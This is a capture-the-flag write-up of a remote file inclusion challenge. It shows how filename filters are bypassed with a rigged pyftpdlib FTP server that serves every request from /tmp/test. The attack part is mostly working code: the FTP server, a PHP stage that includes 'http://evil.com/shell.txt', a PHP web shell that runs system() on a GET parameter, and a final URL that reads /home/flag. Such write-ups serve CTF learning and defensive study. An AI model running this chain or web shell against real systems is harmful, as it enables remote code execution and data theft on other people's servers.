We got a basic RFI here, with some tricky problems:

  • included file-names get a random string appended
  • the filename is not allowed to include “http” or “?”
  • the file needs to pass file_exists
  • the file is not allowed to contain an opened bracket (

To bypass “http” and “?” we use the ftp:// filehandler, which is also capable of handling file_exists calls. Using pyftpdlib we wrote a very basic FTP server which logs in everybody and rewrites every requested file to /tmp/test, so we bypass the random string appended to the original filename.

from pyftpdlib import servers
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.authorizers import DummyAuthorizer


class NoAuthorizer(DummyAuthorizer):
    def validate_authentication(self, username, password, handler):
        if not self.has_user(username):
            self.add_user(username, '', '/tmp')


class TestHandler(FTPHandler):
    authorizer = NoAuthorizer()

    def ftp_RETR(self, file):
        return FTPHandler.ftp_RETR(self, u'/tmp/test')

    def ftp_CWD(self, path):
        return FTPHandler.ftp_CWD(self, u'/tmp/')

    def ftp_SIZE(self, path):
        return FTPHandler.ftp_SIZE(self, u'/tmp/test')


address = ('0.0.0.0', 21)
server = servers.FTPServer(address, TestHandler)
server.serve_forever()

To bypass the ( check we serve a file with the content

<?php include 'http://evil.com/shell.txt';

to include a second file that contains our PHP shell

<?php echo '<pre>'; system($_GET['sh']);

Finally we needed to read the /home/flag file ;)

http://108.61.170.128/web300/about?module=ftp://evil.com/a.b&sh=cat%20/home/flag